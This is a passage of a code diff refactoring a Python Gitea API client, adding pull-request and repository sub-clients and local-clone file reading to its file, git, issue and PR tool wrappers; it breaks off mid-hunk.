owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The updated pull request.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
||||||
|
data: dict[str, str] = {"state": "closed"}
|
||||||
|
response = self.client.patch(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return PullRequestModel(**response.json())
|
||||||
|
|
||||||
|
def get_pull_request_comments(
|
||||||
|
self, owner: str, repo: str, pull_number: int
|
||||||
|
) -> list[CommentModel]:
|
||||||
|
"""Get comments on a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of comments on the pull request.
|
||||||
|
"""
|
||||||
|
url = (
|
||||||
|
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pull_number}/comments"
|
||||||
|
)
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return [CommentModel(**item) for item in response.json()]
|
||||||
|
|
||||||
|
def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str:
|
||||||
|
"""Get the diff for a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The diff as a string.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/diff"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.text
|
||||||
|
|
||||||
|
def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str:
|
||||||
|
"""Get the patch for a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The patch as a string.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/patch"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.text
|
||||||
|
|
||||||
|
def get_pull_request_files(
|
||||||
|
self, owner: str, repo: str, pull_number: int
|
||||||
|
) -> list[PullRequestFileModel]:
|
||||||
|
"""Get the files changed in a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of files changed in the pull request.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/files"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return [PullRequestFileModel(**item) for item in response.json()]
|
||||||
|
|
||||||
|
def list_assigned_pull_requests(
|
||||||
|
self, owner: str = "", repo: str = ""
|
||||||
|
) -> list[PullRequestModel]:
|
||||||
|
"""List all pull requests assigned to or authored by the authenticated user.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Optional repository owner to filter by.
|
||||||
|
repo: Optional repository name to filter by.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of pull requests assigned to or authored by the user.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self._get_user is None or self._get_repos is None:
|
||||||
|
logger.error("get_user and get_repos callables are required")
|
||||||
|
return []
|
||||||
|
|
||||||
|
user = self._get_user()
|
||||||
|
if not user:
|
||||||
|
return []
|
||||||
|
username: str = user.login
|
||||||
|
if owner and repo:
|
||||||
|
response = self.client.get(
|
||||||
|
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state=open",
|
||||||
|
)
|
||||||
|
if response.status_code == 404:
|
||||||
|
return []
|
||||||
|
response.raise_for_status()
|
||||||
|
all_prs: list[PullRequestModel] = [
|
||||||
|
PullRequestModel(**pr) for pr in response.json()
|
||||||
|
]
|
||||||
|
return [
|
||||||
|
pr
|
||||||
|
for pr in all_prs
|
||||||
|
if (pr.assignee and pr.assignee.login == username)
|
||||||
|
or (pr.user and pr.user.login == username)
|
||||||
|
]
|
||||||
|
all_prs: list[PullRequestModel] = []
|
||||||
|
repos = self._get_repos()
|
||||||
|
for r in repos:
|
||||||
|
repo_owner = r.owner
|
||||||
|
repo_name = r.name
|
||||||
|
resp = self.client.get(
|
||||||
|
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/pulls?state=open",
|
||||||
|
)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
for pr_data in resp.json():
|
||||||
|
pr = PullRequestModel(**pr_data)
|
||||||
|
if (pr.assignee and pr.assignee.login == username) or (
|
||||||
|
pr.user and pr.user.login == username
|
||||||
|
):
|
||||||
|
# Backfill repository if Gitea omitted it
|
||||||
|
if pr.repository is None:
|
||||||
|
pr = pr.model_copy(update={"repository": r})
|
||||||
|
all_prs.append(pr)
|
||||||
|
return all_prs
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def create_pull_request(
|
||||||
|
self,
|
||||||
|
owner: str,
|
||||||
|
repo: str,
|
||||||
|
head: str,
|
||||||
|
base: str,
|
||||||
|
title: str,
|
||||||
|
description: str = "",
|
||||||
|
) -> PullRequestModel:
|
||||||
|
"""Create a new pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
head: Head branch name.
|
||||||
|
base: Base branch name.
|
||||||
|
title: Pull request title.
|
||||||
|
description: Pull request description.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The created pull request.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls"
|
||||||
|
data: dict[str, str] = {
|
||||||
|
"title": title,
|
||||||
|
"body": description,
|
||||||
|
"head": head,
|
||||||
|
"base": base,
|
||||||
|
}
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return PullRequestModel(**response.json())
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error creating pull request: {e}", exc_info=True)
|
||||||
|
raise
|
||||||
|
|
||||||
|
def update_pull_request(
|
||||||
|
self,
|
||||||
|
owner: str,
|
||||||
|
repo: str,
|
||||||
|
pull_number: int,
|
||||||
|
title: str | None = None,
|
||||||
|
body: str | None = None,
|
||||||
|
state: str | None = None,
|
||||||
|
) -> PullRequestModel:
|
||||||
|
"""Update a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
title: Optional new title.
|
||||||
|
body: Optional new body.
|
||||||
|
state: Optional new state.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The updated pull request.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
||||||
|
data: dict[str, str | None] = {}
|
||||||
|
if title is not None:
|
||||||
|
data["title"] = title
|
||||||
|
if body is not None:
|
||||||
|
data["body"] = body
|
||||||
|
if state is not None:
|
||||||
|
data["state"] = state
|
||||||
|
response = self.client.patch(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return PullRequestModel(**response.json())
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error updating pull request: {e}", exc_info=True)
|
||||||
|
raise
|
||||||
|
|
||||||
|
def create_pr_via_tea(
|
||||||
|
self, owner: str, repo: str, title: str, description: str, head: str, base: str
|
||||||
|
) -> PullRequestModel:
|
||||||
|
"""Create a pull request (alias for create_pull_request).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
title: Pull request title.
|
||||||
|
description: Pull request description.
|
||||||
|
head: Head branch name.
|
||||||
|
base: Base branch name.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The created pull request.
|
||||||
|
"""
|
||||||
|
return self.create_pull_request(owner, repo, head, base, title, description)
|
||||||
|
|
||||||
|
def approve_pr(
|
||||||
|
self, owner: str, repo: str, pr_number: int, comment: str
|
||||||
|
) -> dict[str, object]:
|
||||||
|
"""Approve a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pr_number: Pull request number.
|
||||||
|
comment: Review comment.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The review response.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||||
|
review: ReviewRequest = ReviewRequest(event="APPROVED", body=comment)
|
||||||
|
response = self.client.post(url, json={"event": review.event, "body": review.body})
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def request_changes_pr(
|
||||||
|
self, owner: str, repo: str, pr_number: int, comment: str
|
||||||
|
) -> dict[str, object]:
|
||||||
|
"""Request changes on a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pr_number: Pull request number.
|
||||||
|
comment: Review comment.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The review response.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||||
|
review: ReviewRequest = ReviewRequest(event="REQUEST_CHANGES", body=comment)
|
||||||
|
response = self.client.post(url, json={"event": review.event, "body": review.body})
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get_pr_reviews(
|
||||||
|
self, owner: str, repo: str, pr_number: int
|
||||||
|
) -> list[dict[str, object]]:
|
||||||
|
"""Get reviews for a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pr_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of reviews.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||||
|
response = self.client.get(url)
|
||||||
|
if response.status_code == 404:
|
||||||
|
return []
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def dismiss_review_pr(
|
||||||
|
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
|
||||||
|
) -> dict[str, object]:
|
||||||
|
"""Dismiss a review on a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pr_number: Pull request number.
|
||||||
|
review_id: Review ID to dismiss.
|
||||||
|
message: Dismissal message.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The dismissal response.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews/{review_id}/dismissals"
|
||||||
|
data: dict[str, str] = {"message": message}
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def add_label_pr(
|
||||||
|
self, owner: str, repo: str, pr_number: int, label: str
|
||||||
|
) -> LabelModel:
|
||||||
|
"""Add a label to a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pr_number: Pull request number.
|
||||||
|
label: Label name or ID.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The added label.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pr_number}/labels"
|
||||||
|
data: list[str] = [label]
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return LabelModel(**response.json())
|
||||||
|
|
||||||
|
def merge_pull_request(
|
||||||
|
self,
|
||||||
|
owner: str,
|
||||||
|
repo: str,
|
||||||
|
pull_number: int,
|
||||||
|
style: str = "squash",
|
||||||
|
title: str = "",
|
||||||
|
message: str = "",
|
||||||
|
) -> bool:
|
||||||
|
"""Merge a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
style: Merge style (squash, merge, rebase).
|
||||||
|
title: Optional merge commit title.
|
||||||
|
message: Optional merge commit message.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if merge was successful.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = (
|
||||||
|
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
|
||||||
|
)
|
||||||
|
data: dict[str, str] = {
|
||||||
|
"Do": style,
|
||||||
|
"MergeTitleField": title,
|
||||||
|
"MergeMessageField": message,
|
||||||
|
}
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(
|
||||||
|
f"Error merging pull request {pull_number}: {e}", exc_info=True
|
||||||
|
)
|
||||||
|
raise
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
"""Repositories client for Gitea API operations."""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
from .models import RepositoryModel, UserModel
|
||||||
|
|
||||||
|
|
||||||
|
logger: logging.Logger = logging.getLogger("gitea.repos_client")
|
||||||
|
|
||||||
|
|
||||||
|
class ReposClient:
|
||||||
|
"""HTTP client for Gitea Repositories API operations."""
|
||||||
|
|
||||||
|
def __init__(self, base_url: str, client: httpx.Client, org_filter: str) -> None:
|
||||||
|
"""Initialize the ReposClient.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
base_url: The base URL for the Gitea API.
|
||||||
|
client: The httpx client for making requests.
|
||||||
|
org_filter: Organization filter for repositories.
|
||||||
|
"""
|
||||||
|
self.base_url: str = base_url
|
||||||
|
self.client: httpx.Client = client
|
||||||
|
self.org_filter: str = org_filter
|
||||||
|
|
||||||
|
def list_all_user_repos(self) -> list[RepositoryModel]:
|
||||||
|
"""List all repositories for the authenticated user.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of repositories belonging to the configured organization.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = f"{self.base_url}/api/v1/user/repos"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
repos: list[dict[str, object]] = response.json()
|
||||||
|
# Filter to ONLY configured organization repos, include mirrors
|
||||||
|
seen: set[str] = set()
|
||||||
|
result: list[RepositoryModel] = []
|
||||||
|
for r in repos:
|
||||||
|
full_name = r.get("full_name", "")
|
||||||
|
if (
|
||||||
|
full_name
|
||||||
|
and full_name not in seen
|
||||||
|
and (r.get("owner") or {}).get("login") == self.org_filter
|
||||||
|
):
|
||||||
|
seen.add(full_name)
|
||||||
|
result.append(RepositoryModel(**r))
|
||||||
|
return result
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error listing user repos: {e}", exc_info=True)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_authenticated_user(self) -> UserModel:
|
||||||
|
"""Get the authenticated user.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The authenticated user.
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
RuntimeError: If the user cannot be retrieved.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
response = self.client.get(f"{self.base_url}/api/v1/user")
|
||||||
|
response.raise_for_status()
|
||||||
|
return UserModel(**response.json())
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error getting authenticated user: {e}", exc_info=True)
|
||||||
|
raise RuntimeError(f"Could not get authenticated user: {e}") from e
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
from typing import Any
|
from typing import Any
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
|
|
||||||
@@ -5,8 +7,9 @@ from gitea.client import GiteaClient
|
|||||||
class FileTools:
|
class FileTools:
|
||||||
"""Tools for Gitea file/content operations."""
|
"""Tools for Gitea file/content operations."""
|
||||||
|
|
||||||
def __init__(self, client: GiteaClient) -> None:
|
def __init__(self, client: GiteaClient, repo_path: str | None = None) -> None:
|
||||||
self._client = client
|
self._client = client
|
||||||
|
self._repo_path: str | None = repo_path
|
||||||
|
|
||||||
def _paginate_lines(
|
def _paginate_lines(
|
||||||
self,
|
self,
|
||||||
@@ -35,6 +38,15 @@ class FileTools:
|
|||||||
)
|
)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
def _resolve_local_path(self, owner: str, repo: str, path: str) -> str | None:
|
||||||
|
"""Resolve owner/repo/path to a local filesystem path if the repo is cloned."""
|
||||||
|
if not self._repo_path:
|
||||||
|
return None
|
||||||
|
local_repo: str = os.path.join(self._repo_path, owner, repo)
|
||||||
|
if os.path.isdir(local_repo):
|
||||||
|
return os.path.join(local_repo, path)
|
||||||
|
return None
|
||||||
|
|
||||||
def get_file_content(
|
def get_file_content(
|
||||||
self,
|
self,
|
||||||
owner: str,
|
owner: str,
|
||||||
@@ -45,12 +57,24 @@ class FileTools:
|
|||||||
) -> str:
|
) -> str:
|
||||||
"""Get the content of a file from a Gitea repository with line paging.
|
"""Get the content of a file from a Gitea repository with line paging.
|
||||||
|
|
||||||
|
Checks the local workspace first if repo_path is configured, falling
|
||||||
|
back to the remote API when the file is not available locally.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
offset: 1-indexed line to start from (default 1).
|
offset: 1-indexed line to start from (default 1).
|
||||||
limit: Maximum number of lines to return (default 250).
|
limit: Maximum number of lines to return (default 250).
|
||||||
"""
|
"""
|
||||||
|
local_path: str | None = self._resolve_local_path(owner, repo, path)
|
||||||
|
if local_path and os.path.isfile(local_path):
|
||||||
try:
|
try:
|
||||||
content = self._client.get_file_content(owner, repo, path)
|
with open(local_path, 'r', encoding='utf-8', errors='replace') as f:
|
||||||
|
raw: str = f.read()
|
||||||
|
return self._paginate_lines(raw, offset, limit)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
content = self._client.files.get_file_content(owner, repo, path)
|
||||||
raw: str = "\n".join(content) if isinstance(content, list) else content
|
raw: str = "\n".join(content) if isinstance(content, list) else content
|
||||||
return self._paginate_lines(raw, offset, limit)
|
return self._paginate_lines(raw, offset, limit)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -67,28 +91,49 @@ class FileTools:
|
|||||||
) -> str:
|
) -> str:
|
||||||
"""Get file content at a specific git ref with line paging.
|
"""Get file content at a specific git ref with line paging.
|
||||||
|
|
||||||
|
Checks the local workspace first using ``git show`` if the repo is
|
||||||
|
cloned locally, falling back to the remote API.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
ref: Branch, tag, or commit SHA (default 'master').
|
ref: Branch, tag, or commit SHA (default 'master').
|
||||||
offset: 1-indexed line to start from (default 1).
|
offset: 1-indexed line to start from (default 1).
|
||||||
limit: Maximum number of lines to return (default 250).
|
limit: Maximum number of lines to return (default 250).
|
||||||
"""
|
"""
|
||||||
|
if self._repo_path:
|
||||||
|
local_repo: str = os.path.join(self._repo_path, owner, repo)
|
||||||
|
if os.path.isdir(local_repo):
|
||||||
try:
|
try:
|
||||||
content = self._client.get_file_content(owner, repo, path, ref)
|
import subprocess
|
||||||
|
result = subprocess.run(
|
||||||
|
["git", "-C", local_repo, "show", f"{ref}:{path}"],
|
||||||
|
capture_output=True, text=True, timeout=15,
|
||||||
|
)
|
||||||
|
if result.returncode == 0:
|
||||||
|
return self._paginate_lines(result.stdout, offset, limit)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
content = self._client.files.get_file_content(owner, repo, path, ref)
|
||||||
raw: str = "\n".join(content) if isinstance(content, list) else content
|
raw: str = "\n".join(content) if isinstance(content, list) else content
|
||||||
return self._paginate_lines(raw, offset, limit)
|
return self._paginate_lines(raw, offset, limit)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error getting file content: {str(e)}"
|
return f"Error getting file content: {str(e)}"
|
||||||
|
|
||||||
def commit_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
|
def commit_file(
|
||||||
|
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||||
|
) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.update_file(owner, repo, path, message, content, branch)
|
self._client.files.update_file(owner, repo, path, message, content, branch)
|
||||||
return f"File '{path}' committed successfully to {owner}/{repo}."
|
return f"File '{path}' committed successfully to {owner}/{repo}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error committing file: {str(e)}"
|
return f"Error committing file: {str(e)}"
|
||||||
|
|
||||||
def update_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
|
def update_file(
|
||||||
|
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||||
|
) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.update_file(owner, repo, path, message, content, branch)
|
self._client.files.update_file(owner, repo, path, message, content, branch)
|
||||||
return f"File '{path}' updated in {owner}/{repo}."
|
return f"File '{path}' updated in {owner}/{repo}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error updating file: {str(e)}"
|
return f"Error updating file: {str(e)}"
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
from typing import Any
|
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
|
|
||||||
|
|
||||||
@@ -10,7 +9,7 @@ class GitTools:
|
|||||||
|
|
||||||
def create_branch(self, owner: str, repo: str, ref: str, sha: str) -> str:
|
def create_branch(self, owner: str, repo: str, ref: str, sha: str) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.create_ref(owner, repo, ref, sha)
|
self._client.files.create_ref(owner, repo, ref, sha)
|
||||||
return f"Branch '{ref}' created successfully in {owner}/{repo}."
|
return f"Branch '{ref}' created successfully in {owner}/{repo}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error creating branch: {str(e)}"
|
return f"Error creating branch: {str(e)}"
|
||||||
|
|||||||
+12
-12
@@ -15,16 +15,16 @@ class IssueTools:
|
|||||||
def __init__(self, client: GiteaClient) -> None:
|
def __init__(self, client: GiteaClient) -> None:
|
||||||
self._client = client
|
self._client = client
|
||||||
|
|
||||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
||||||
try:
|
try:
|
||||||
issue: IssueModel = self._client.get_issue(owner, repo, issue_number)
|
return self._client.issues.get_issue(owner, repo, issue_number)
|
||||||
return issue.model_dump_json(indent=2)
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error getting issue: {str(e)}"
|
logger.error(f"Error getting issue #{issue_number}: {e}", exc_info=True)
|
||||||
|
raise
|
||||||
|
|
||||||
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.close_issue(owner, repo, issue_number)
|
self._client.issues.close_issue(owner, repo, issue_number)
|
||||||
return f"Issue #{issue_number} closed successfully."
|
return f"Issue #{issue_number} closed successfully."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error closing issue: {str(e)}"
|
return f"Error closing issue: {str(e)}"
|
||||||
@@ -44,7 +44,7 @@ class IssueTools:
|
|||||||
offset: Zero-based comment index to start from (default 0).
|
offset: Zero-based comment index to start from (default 0).
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
comments: list[CommentModel] = self._client.get_issue_comments(
|
comments: list[CommentModel] = self._client.issues.get_issue_comments(
|
||||||
owner, repo, issue_number
|
owner, repo, issue_number
|
||||||
)
|
)
|
||||||
total: int = len(comments)
|
total: int = len(comments)
|
||||||
@@ -62,12 +62,12 @@ class IssueTools:
|
|||||||
|
|
||||||
def list_assigned_issues(self) -> list[dict[str, Any]]:
|
def list_assigned_issues(self) -> list[dict[str, Any]]:
|
||||||
try:
|
try:
|
||||||
repos = self._client.list_all_user_repos()
|
repos = self._client.repos.list_all_user_repos()
|
||||||
all_issues: list[dict[str, Any]] = []
|
all_issues: list[dict[str, Any]] = []
|
||||||
for repo in repos:
|
for repo in repos:
|
||||||
owner = repo.owner
|
owner = repo.owner
|
||||||
repo_name = repo.name
|
repo_name = repo.name
|
||||||
issues = self._client.list_assigned_issues(owner, repo_name)
|
issues = self._client.issues.list_assigned_issues(owner, repo_name)
|
||||||
if issues:
|
if issues:
|
||||||
all_issues.extend(
|
all_issues.extend(
|
||||||
[
|
[
|
||||||
@@ -84,7 +84,7 @@ class IssueTools:
|
|||||||
|
|
||||||
def list_issues(self, owner: str, repo: str, state: str = "open") -> str:
|
def list_issues(self, owner: str, repo: str, state: str = "open") -> str:
|
||||||
try:
|
try:
|
||||||
issues = self._client.list_repo_issues(owner, repo, state)
|
issues = self._client.issues.list_repo_issues(owner, repo, state)
|
||||||
if not issues:
|
if not issues:
|
||||||
return f"No issues in {owner}/{repo}."
|
return f"No issues in {owner}/{repo}."
|
||||||
summary = [f"#{issue.number}: {issue.title}" for issue in issues]
|
summary = [f"#{issue.number}: {issue.title}" for issue in issues]
|
||||||
@@ -102,7 +102,7 @@ class IssueTools:
|
|||||||
assignees: list[str] | None = None,
|
assignees: list[str] | None = None,
|
||||||
) -> str:
|
) -> str:
|
||||||
try:
|
try:
|
||||||
issue = self._client.create_issue(
|
issue = self._client.issues.create_issue(
|
||||||
owner, repo, title, body, labels, assignees
|
owner, repo, title, body, labels, assignees
|
||||||
)
|
)
|
||||||
return f"Issue #{issue.number} created successfully in {owner}/{repo}."
|
return f"Issue #{issue.number} created successfully in {owner}/{repo}."
|
||||||
@@ -113,7 +113,7 @@ class IssueTools:
|
|||||||
self, owner: str, repo: str, issue_number: int, label: str
|
self, owner: str, repo: str, issue_number: int, label: str
|
||||||
) -> str:
|
) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.add_label(owner, repo, issue_number, label)
|
self._client.issues.add_label(owner, repo, issue_number, label)
|
||||||
return f"Label '{label}' added to issue #{issue_number}."
|
return f"Label '{label}' added to issue #{issue_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error adding label to issue #{issue_number}: {e}"
|
return f"Error adding label to issue #{issue_number}: {e}"
|
||||||
@@ -122,7 +122,7 @@ class IssueTools:
|
|||||||
self, owner: str, repo: str, issue_number: int, body: str
|
self, owner: str, repo: str, issue_number: int, body: str
|
||||||
) -> str:
|
) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.add_comment(owner, repo, issue_number, body)
|
self._client.issues.add_comment(owner, repo, issue_number, body)
|
||||||
return f"Comment added to issue #{issue_number}."
|
return f"Comment added to issue #{issue_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error adding comment to issue #{issue_number}: {e}"
|
return f"Error adding comment to issue #{issue_number}: {e}"
|
||||||
|
|||||||
+50
-25
@@ -40,16 +40,16 @@ class PRTools:
|
|||||||
def __init__(self, client: GiteaClient) -> None:
|
def __init__(self, client: GiteaClient) -> None:
|
||||||
self._client = client
|
self._client = client
|
||||||
|
|
||||||
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
|
||||||
try:
|
try:
|
||||||
pr: PullRequestModel = self._client.get_pull_request(owner, repo, pull_number)
|
return self._client.prs.get_pull_request(owner, repo, pull_number)
|
||||||
return pr.model_dump_json(indent=2)
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error getting pull request: {str(e)}"
|
logger.error(f"Error getting pull request #{pull_number}: {e}", exc_info=True)
|
||||||
|
raise
|
||||||
|
|
||||||
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.close_pull_request(owner, repo, pull_number)
|
self._client.prs.close_pull_request(owner, repo, pull_number)
|
||||||
return f"Pull request #{pull_number} closed successfully."
|
return f"Pull request #{pull_number} closed successfully."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error closing pull request: {str(e)}"
|
return f"Error closing pull request: {str(e)}"
|
||||||
@@ -69,7 +69,7 @@ class PRTools:
|
|||||||
offset: Zero-based comment index to start from (default 0).
|
offset: Zero-based comment index to start from (default 0).
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
comments: list[CommentModel] = self._client.get_pull_request_comments(
|
comments: list[CommentModel] = self._client.prs.get_pull_request_comments(
|
||||||
owner, repo, pull_number
|
owner, repo, pull_number
|
||||||
)
|
)
|
||||||
total: int = len(comments)
|
total: int = len(comments)
|
||||||
@@ -87,14 +87,21 @@ class PRTools:
|
|||||||
|
|
||||||
def list_assigned_pull_requests(self) -> list[dict[str, Any]]:
|
def list_assigned_pull_requests(self) -> list[dict[str, Any]]:
|
||||||
try:
|
try:
|
||||||
repos = self._client.list_all_user_repos()
|
